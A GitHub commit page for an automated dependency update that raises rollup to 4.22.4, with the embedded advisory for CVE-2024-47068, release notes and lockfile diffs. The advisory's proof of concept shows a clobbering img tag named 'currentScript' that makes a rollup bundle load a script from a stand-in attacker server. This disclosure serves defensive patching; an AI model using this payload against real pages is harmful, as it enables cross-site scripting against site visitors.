Skip to content

Commit

Permalink
chore(deps): update dependency rollup to v4.22.4 [security] (#11604)
Browse files Browse the repository at this point in the history
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://redirect.github.com/rollup/rollup)) | [`4.21.2` ->
`4.22.4`](https://renovatebot.com/diffs/npm/rollup/4.21.2/4.22.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/4.21.2/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/4.21.2/4.22.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency
Dashboard for more information.

### GitHub Vulnerability Alerts

####
[CVE-2024-47068](https://redirect.github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm)

### Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling
scripts that use `import.meta.url` or with plugins that emit and
reference asset files from code in `cjs`/`umd`/`iife` format. The DOM
Clobbering gadget can lead to cross-site scripting (XSS) in web pages
where scriptless attacker-controlled HTML elements (e.g., an `img` tag
with an unsanitized `name` attribute) are present.

It's worth noting that similar issues in other popular bundlers like
Webpack
([CVE-2024-43788](https://redirect.github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986))
have been reported, which might serve as a good reference.

### Details

#### Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first
embeds a piece of non-script, seemingly benign HTML markups in the
webpage (e.g. through a post or comment) and leverages the gadgets
(pieces of js code) living in the existing javascript code to transform
it into executable code. More for information about DOM Clobbering, here
are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

#### Gadget found in `rollup`

A DOM Clobbering vulnerability in `rollup` bundled scripts was
identified, particularly when the scripts uses `import.meta` and set
output in format of `cjs`/`umd`/`iife`. In such cases, `rollup` replaces
meta property with the URL retrieved from `document.currentScript`.


https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162


https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack.
The `document.currentScript` lookup can be shadowed by an attacker via
the browser's named DOM tree element access mechanism. This manipulation
allows an attacker to replace the intended script element with a
malicious HTML element. When this happens, the `src` attribute of the
attacker-controlled element (e.g., an `img` tag ) is used as the URL for
importing scripts, potentially leading to the dynamic loading of scripts
from an attacker-controlled server.

### PoC

Considering a website that contains the following `main.js` script, the
devloper decides to use the `rollup` to bundle up the program: `rollup
main.js --format cjs --file bundle.js`.

```
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
```

The output `bundle.js` is shown in the following code snippet.

```
'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
```

Adding the `rollup` bundled script, `bundle.js`, as part of the web page
source code, the page could load the `extra.js` file from the attacker's
domain, `attacker.controlled.server` due to the introduced gadget during
bundling. The attacker only needs to insert an `img` tag with the name
attribute set to `currentScript`. This can be done through a website's
feature that allows users to embed certain script-less HTML (e.g.,
markdown renderers, web email clients, forums) or via an HTML injection
vulnerability in third-party JavaScript loaded on the page.

```
<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
```

### Impact

This vulnerability can result in cross-site scripting (XSS) attacks on
websites that include rollup-bundled files (configured with an output
format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users
to inject certain scriptless HTML tags without properly sanitizing the
`name` or `id` attributes.

### Patch

Patching the following two functions with type checking would be
effective mitigations against DOM Clobbering attack.

```
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
```

```
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;
```

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v4.22.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4224)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.3...v4.22.4)

*2024-09-21*

##### Bug Fixes

- Fix a vulnerability in generated code that affects IIFE, UMD and CJS
bundles when run in a browser context
([#&#8203;5671](https://redirect.github.com/rollup/rollup/issues/5671))

##### Pull Requests

- [#&#8203;5670](https://redirect.github.com/rollup/rollup/pull/5670):
refactor: Use object.prototype to check for reserved properties
([@&#8203;YuHyeonWook](https://redirect.github.com/YuHyeonWook))
- [#&#8203;5671](https://redirect.github.com/rollup/rollup/pull/5671):
Fix DOM Clobbering CVE
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.22.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4223)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.2...v4.22.3)

*2024-09-21*

##### Bug Fixes

- Ensure that mutations in modules without side effects are observed
while properly handling transitive dependencies
([#&#8203;5669](https://redirect.github.com/rollup/rollup/issues/5669))

##### Pull Requests

- [#&#8203;5669](https://redirect.github.com/rollup/rollup/pull/5669):
Ensure impure dependencies of pure modules are added
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.22.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4222)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.1...v4.22.2)

*2024-09-20*

##### Bug Fixes

- Revert fix for side effect free modules until other issues are
investigated
([#&#8203;5667](https://redirect.github.com/rollup/rollup/issues/5667))

##### Pull Requests

- [#&#8203;5667](https://redirect.github.com/rollup/rollup/pull/5667):
Partially revert
[#&#8203;5658](https://redirect.github.com/rollup/rollup/issues/5658)
and re-apply
[#&#8203;5644](https://redirect.github.com/rollup/rollup/issues/5644)
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.22.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4221)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.22.0...v4.22.1)

*2024-09-20*

##### Bug Fixes

- Revert
[#&#8203;5644](https://redirect.github.com/rollup/rollup/issues/5644)
"stable chunk hashes" while issues are being investigated

##### Pull Requests

- [#&#8203;5663](https://redirect.github.com/rollup/rollup/pull/5663):
chore(deps): update dependency inquirer to v11
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot],
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5664](https://redirect.github.com/rollup/rollup/pull/5664):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5665](https://redirect.github.com/rollup/rollup/pull/5665):
fix: type in CI file
([@&#8203;YuHyeonWook](https://redirect.github.com/YuHyeonWook))
- [#&#8203;5666](https://redirect.github.com/rollup/rollup/pull/5666):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
[`v4.22.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4220)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.21.3...v4.22.0)

*2024-09-19*

##### Features

- Add additional known global values to avoid access side effects
([#&#8203;5651](https://redirect.github.com/rollup/rollup/issues/5651))

##### Bug Fixes

- Ensure deterministic chunk hash generation despite async renderChunk
hook
([#&#8203;5644](https://redirect.github.com/rollup/rollup/issues/5644))
- Improve side effect detection when using "smallest" treeshaking preset
when imports are optimized away
([#&#8203;5658](https://redirect.github.com/rollup/rollup/issues/5658))

##### Pull Requests

- [#&#8203;5644](https://redirect.github.com/rollup/rollup/pull/5644):
fix: apply final hashes deterministically with stable placeholders set
([@&#8203;mattkubej](https://redirect.github.com/mattkubej),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5646](https://redirect.github.com/rollup/rollup/pull/5646):
chore(deps): update dependency
[@&#8203;mermaid-js/mermaid-cli](https://redirect.github.com/mermaid-js/mermaid-cli)
to v11 ([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5647](https://redirect.github.com/rollup/rollup/pull/5647):
chore(deps): update dependency concurrently to v9
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5648](https://redirect.github.com/rollup/rollup/pull/5648):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5651](https://redirect.github.com/rollup/rollup/pull/5651):
feat: add `AggregateError`, `FinalizationRegistry`, `WeakRef` to
knownGlobals ([@&#8203;re-taro](https://redirect.github.com/re-taro))
- [#&#8203;5653](https://redirect.github.com/rollup/rollup/pull/5653):
Fix example selection in REPL
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5657](https://redirect.github.com/rollup/rollup/pull/5657):
chore(deps): update dependency vite to v5.4.6 \[security]
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5658](https://redirect.github.com/rollup/rollup/pull/5658):
Detect variable reassignments in modules without side effects
([@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))

###
[`v4.21.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4213)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.21.2...v4.21.3)

*2024-09-12*

##### Bug Fixes

- Always respect side effects in left-hand side of optional chain
([#&#8203;5642](https://redirect.github.com/rollup/rollup/issues/5642))
- Update stack trace for augmented errors to not hide relevant
information
([#&#8203;5640](https://redirect.github.com/rollup/rollup/issues/5640))

##### Pull Requests

- [#&#8203;5636](https://redirect.github.com/rollup/rollup/pull/5636):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5637](https://redirect.github.com/rollup/rollup/pull/5637):
chore(deps): lock file maintenance
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5640](https://redirect.github.com/rollup/rollup/pull/5640):
fix: keep the message of stack up-to-date
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))
- [#&#8203;5642](https://redirect.github.com/rollup/rollup/pull/5642):
fix: include left-side effect of optional chaining in the end of
hasEffectsAsChainElement
([@&#8203;TrickyPi](https://redirect.github.com/TrickyPi))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/redwoodjs/redwood).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC44MC4wIiwidXBkYXRlZEluVmVyIjoiMzguODAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
  • Loading branch information
renovate[bot] authored and Josh-Walker-GM committed Sep 24, 2024
1 parent ce9c723 commit 71e9875
Show file tree
Hide file tree
Showing 2 changed files with 71 additions and 71 deletions.
2 changes: 1 addition & 1 deletion packages/vite/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@
"glob": "11.0.0",
"memfs": "4.11.1",
"publint": "0.2.10",
"rollup": "4.21.2",
"rollup": "4.22.4",
"tsx": "4.19.1",
"typescript": "5.6.2",
"vitest": "2.0.5"
Expand Down
140 changes: 70 additions & 70 deletions yarn.lock
Original file line number Diff line number Diff line change
Expand Up @@ -8792,7 +8792,7 @@ __metadata:
react: "npm:18.3.1"
react-server-dom-webpack: "npm:19.0.0-rc-8269d55d-20240802"
rimraf: "npm:6.0.1"
rollup: "npm:4.21.2"
rollup: "npm:4.22.4"
tsx: "npm:4.19.1"
typescript: "npm:5.6.2"
vite: "npm:5.4.6"
Expand Down Expand Up @@ -8943,114 +8943,114 @@ __metadata:
languageName: node
linkType: hard

"@rollup/rollup-android-arm-eabi@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-android-arm-eabi@npm:4.21.2"
"@rollup/rollup-android-arm-eabi@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-android-arm-eabi@npm:4.22.4"
conditions: os=android & cpu=arm
languageName: node
linkType: hard

"@rollup/rollup-android-arm64@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-android-arm64@npm:4.21.2"
"@rollup/rollup-android-arm64@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-android-arm64@npm:4.22.4"
conditions: os=android & cpu=arm64
languageName: node
linkType: hard

"@rollup/rollup-darwin-arm64@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-darwin-arm64@npm:4.21.2"
"@rollup/rollup-darwin-arm64@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-darwin-arm64@npm:4.22.4"
conditions: os=darwin & cpu=arm64
languageName: node
linkType: hard

"@rollup/rollup-darwin-x64@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-darwin-x64@npm:4.21.2"
"@rollup/rollup-darwin-x64@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-darwin-x64@npm:4.22.4"
conditions: os=darwin & cpu=x64
languageName: node
linkType: hard

"@rollup/rollup-linux-arm-gnueabihf@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-arm-gnueabihf@npm:4.21.2"
"@rollup/rollup-linux-arm-gnueabihf@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-arm-gnueabihf@npm:4.22.4"
conditions: os=linux & cpu=arm & libc=glibc
languageName: node
linkType: hard

"@rollup/rollup-linux-arm-musleabihf@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-arm-musleabihf@npm:4.21.2"
"@rollup/rollup-linux-arm-musleabihf@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-arm-musleabihf@npm:4.22.4"
conditions: os=linux & cpu=arm & libc=musl
languageName: node
linkType: hard

"@rollup/rollup-linux-arm64-gnu@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-arm64-gnu@npm:4.21.2"
"@rollup/rollup-linux-arm64-gnu@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-arm64-gnu@npm:4.22.4"
conditions: os=linux & cpu=arm64 & libc=glibc
languageName: node
linkType: hard

"@rollup/rollup-linux-arm64-musl@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-arm64-musl@npm:4.21.2"
"@rollup/rollup-linux-arm64-musl@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-arm64-musl@npm:4.22.4"
conditions: os=linux & cpu=arm64 & libc=musl
languageName: node
linkType: hard

"@rollup/rollup-linux-powerpc64le-gnu@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-powerpc64le-gnu@npm:4.21.2"
"@rollup/rollup-linux-powerpc64le-gnu@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-powerpc64le-gnu@npm:4.22.4"
conditions: os=linux & cpu=ppc64 & libc=glibc
languageName: node
linkType: hard

"@rollup/rollup-linux-riscv64-gnu@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-riscv64-gnu@npm:4.21.2"
"@rollup/rollup-linux-riscv64-gnu@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-riscv64-gnu@npm:4.22.4"
conditions: os=linux & cpu=riscv64 & libc=glibc
languageName: node
linkType: hard

"@rollup/rollup-linux-s390x-gnu@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-s390x-gnu@npm:4.21.2"
"@rollup/rollup-linux-s390x-gnu@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-s390x-gnu@npm:4.22.4"
conditions: os=linux & cpu=s390x & libc=glibc
languageName: node
linkType: hard

"@rollup/rollup-linux-x64-gnu@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-x64-gnu@npm:4.21.2"
"@rollup/rollup-linux-x64-gnu@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-x64-gnu@npm:4.22.4"
conditions: os=linux & cpu=x64 & libc=glibc
languageName: node
linkType: hard

"@rollup/rollup-linux-x64-musl@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-linux-x64-musl@npm:4.21.2"
"@rollup/rollup-linux-x64-musl@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-linux-x64-musl@npm:4.22.4"
conditions: os=linux & cpu=x64 & libc=musl
languageName: node
linkType: hard

"@rollup/rollup-win32-arm64-msvc@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-win32-arm64-msvc@npm:4.21.2"
"@rollup/rollup-win32-arm64-msvc@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-win32-arm64-msvc@npm:4.22.4"
conditions: os=win32 & cpu=arm64
languageName: node
linkType: hard

"@rollup/rollup-win32-ia32-msvc@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-win32-ia32-msvc@npm:4.21.2"
"@rollup/rollup-win32-ia32-msvc@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-win32-ia32-msvc@npm:4.22.4"
conditions: os=win32 & cpu=ia32
languageName: node
linkType: hard

"@rollup/rollup-win32-x64-msvc@npm:4.21.2":
version: 4.21.2
resolution: "@rollup/rollup-win32-x64-msvc@npm:4.21.2"
"@rollup/rollup-win32-x64-msvc@npm:4.22.4":
version: 4.22.4
resolution: "@rollup/rollup-win32-x64-msvc@npm:4.22.4"
conditions: os=win32 & cpu=x64
languageName: node
linkType: hard
Expand Down Expand Up @@ -26572,26 +26572,26 @@ __metadata:
languageName: node
linkType: hard

"rollup@npm:4.21.2, rollup@npm:^4.20.0":
version: 4.21.2
resolution: "rollup@npm:4.21.2"
dependencies:
"@rollup/rollup-android-arm-eabi": "npm:4.21.2"
"@rollup/rollup-android-arm64": "npm:4.21.2"
"@rollup/rollup-darwin-arm64": "npm:4.21.2"
"@rollup/rollup-darwin-x64": "npm:4.21.2"
"@rollup/rollup-linux-arm-gnueabihf": "npm:4.21.2"
"@rollup/rollup-linux-arm-musleabihf": "npm:4.21.2"
"@rollup/rollup-linux-arm64-gnu": "npm:4.21.2"
"@rollup/rollup-linux-arm64-musl": "npm:4.21.2"
"@rollup/rollup-linux-powerpc64le-gnu": "npm:4.21.2"
"@rollup/rollup-linux-riscv64-gnu": "npm:4.21.2"
"@rollup/rollup-linux-s390x-gnu": "npm:4.21.2"
"@rollup/rollup-linux-x64-gnu": "npm:4.21.2"
"@rollup/rollup-linux-x64-musl": "npm:4.21.2"
"@rollup/rollup-win32-arm64-msvc": "npm:4.21.2"
"@rollup/rollup-win32-ia32-msvc": "npm:4.21.2"
"@rollup/rollup-win32-x64-msvc": "npm:4.21.2"
"rollup@npm:4.22.4, rollup@npm:^4.20.0":
version: 4.22.4
resolution: "rollup@npm:4.22.4"
dependencies:
"@rollup/rollup-android-arm-eabi": "npm:4.22.4"
"@rollup/rollup-android-arm64": "npm:4.22.4"
"@rollup/rollup-darwin-arm64": "npm:4.22.4"
"@rollup/rollup-darwin-x64": "npm:4.22.4"
"@rollup/rollup-linux-arm-gnueabihf": "npm:4.22.4"
"@rollup/rollup-linux-arm-musleabihf": "npm:4.22.4"
"@rollup/rollup-linux-arm64-gnu": "npm:4.22.4"
"@rollup/rollup-linux-arm64-musl": "npm:4.22.4"
"@rollup/rollup-linux-powerpc64le-gnu": "npm:4.22.4"
"@rollup/rollup-linux-riscv64-gnu": "npm:4.22.4"
"@rollup/rollup-linux-s390x-gnu": "npm:4.22.4"
"@rollup/rollup-linux-x64-gnu": "npm:4.22.4"
"@rollup/rollup-linux-x64-musl": "npm:4.22.4"
"@rollup/rollup-win32-arm64-msvc": "npm:4.22.4"
"@rollup/rollup-win32-ia32-msvc": "npm:4.22.4"
"@rollup/rollup-win32-x64-msvc": "npm:4.22.4"
"@types/estree": "npm:1.0.5"
fsevents: "npm:~2.3.2"
dependenciesMeta:
Expand Down Expand Up @@ -26631,7 +26631,7 @@ __metadata:
optional: true
bin:
rollup: dist/bin/rollup
checksum: 10c0/c9d97f7a21cde110371b2e890a31a996fee09b81e639e79372b962a9638ae653d2d24186b94632fc5dfab8a0582e1d0639dfe34b8b75051facd86915a9585a5f
checksum: 10c0/4c96b6e2e0c5dbe73b4ba899cea894a05115ab8c65ccff631fbbb944e2b3a9f2eb3b99c2dce3dd91b179647df1892ffc44ecee29381ccf155ba8000b22712a32
languageName: node
linkType: hard

Expand Down

0 comments on commit 71e9875

Please sign in to comment.